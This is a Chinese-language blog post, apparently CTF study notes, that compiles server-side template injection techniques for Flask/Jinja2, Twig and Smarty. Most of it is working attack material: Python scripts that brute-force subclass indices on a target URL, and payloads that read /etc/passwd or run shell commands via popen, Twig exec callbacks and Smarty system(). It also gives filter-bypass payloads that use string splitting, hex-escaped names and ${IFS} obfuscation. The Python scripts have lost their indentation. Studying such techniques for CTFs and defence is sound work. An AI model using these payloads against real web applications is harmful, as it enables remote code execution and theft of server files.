题主要参考大佬文章,先附上大佬链接
SSTI注入——python中的ssti_python ssti注入-CSDN博客
Flask模板注入 - NPFS - 博客园 (cnblogs.com)
总结几个常用脚本和对应的playload:
1.文件读取脚本
# 引入 request 模块用于发起请求
import requests
# input 定义爆破 url
url = input('请输入 URL : ')
# 设置范围为 500
for i in range(500):
# 爆破的 payload ,注意关键字 name 为本题接收参数,其他环境应根据实际分析
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
# 爆破测试
try:
# post 请求后的响应信息
response = requests.post(url, data=data)
# 打印响应信息
# print(response.text)
# 当状态码为 200 时,寻找响应信息中是否包含关键子类
if response.status_code == 200:
if '_frozen_importlib_external.FileLoader' in response.text:
# 若存在,则打印索引值
print(i)
except:
# 不存在或出现错误,则退出本次循环
pass
playload为:
{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}
2.利用内嵌函数eval:
# 引入 request 模块用于发起请求
import requests
# input 定义爆破 url
url = input('请输入 URL : ')
# 设置范围为 500
for i in range(500):
# 爆破的 payload ,注意关键字 name 为本题接收参数,其他环境应根据实际分析
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"}
# 爆破测试
try:
# post 请求后的响应信息
response = requests.post(url, data=data)
# 打印响应信息
# print(response.text)
# 当状态码为 200 时,寻找响应信息中是否包含关键子类
if response.status_code == 200:
if 'eval' in response.text:
# 若存在,则打印索引值
print(i)
except:
# 不存在或出现错误,则退出本次循环
pass
playload为:
{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
3.os模块脚本:
# 引入 request 模块用于发起请求
import requests
# input 定义爆破 url
url = input('请输入 URL : ')
# 设置范围为 500
for i in range(500):
# 爆破的 payload ,注意关键字 name 为本题接收参数,其他环境应根据实际分析
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
# 爆破测试
try:
# post 请求后的响应信息
response = requests.post(url, data=data)
# 打印响应信息
# print(response.text)
# 当状态码为 200 时,寻找响应信息中是否包含关键子类
if response.status_code == 200:
if 'os.py' in response.text:
# 若存在,则打印索引值
print(i)
except:
# 不存在或出现错误,则退出本次循环
pass
playload为:
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
例题shrine,乍眼一看是一个python代码,想到是利用ssti模板注入,利用{{7*7}}返回49表明存在模板注入,但是{{config}}返回错误,显然被过滤了
就用flask内置函数来绕过获取config,下面两个方法都可以,然后就发现了flag
/shrine/{{get_flashed_messages.__globals__}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
---------------------------------------------------------------------------------------------------------------------------------
非常经典的一张图,来看看这一题
输入{{7*‘7’}},返回49表示是 Twig 模块
输入{{7*‘7’}},返回7777777表示是 Jinja2 模块
这里在cookie处进行判断
user={{7*‘7’}},查看返回值
由于返回的是49,所以是Twig模块,所以有固定的playload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag
然后可以拿到flag
[CISCN2019 华东南赛区]Web11
这题做过类似的,注入点很可能在X-Forwarded-For上面,而且是Smarty模板
Smarty常用payload:
利用smarty的{if}条件{$smarty.version}查看smarty版本号
{if phpinfo()}{/if}查看php信息
{if system(‘ls /’)}{/if}查看根目录下的文件
{if system(‘cat /flag’)}{/if}
{if readfile(‘/flag’)}{/if}
{if show_source(‘/flag’)}{/if}
原文链接:https://blog.csdn.net/qq_62414126/article/details/124514254
---------------------------------------------------------------------------------------------------------------------------------
这题输入{{7*‘7’}} 回显7777777说明是jinja2模板,但是我用脚本跑的时候没有反应,看大佬文章才知道是过滤了globals, 于是采用拼接字符串的方法来绕过
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
最后获取flag
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
如果说有更多的绕过可以考虑先把我们要执行的命令转成ASCII,再进行十六进制编码
{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('ca${Z}t${IFS}/fl*').read()}}
?name={{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('ca${Z}t${IFS}/fl*').read()}}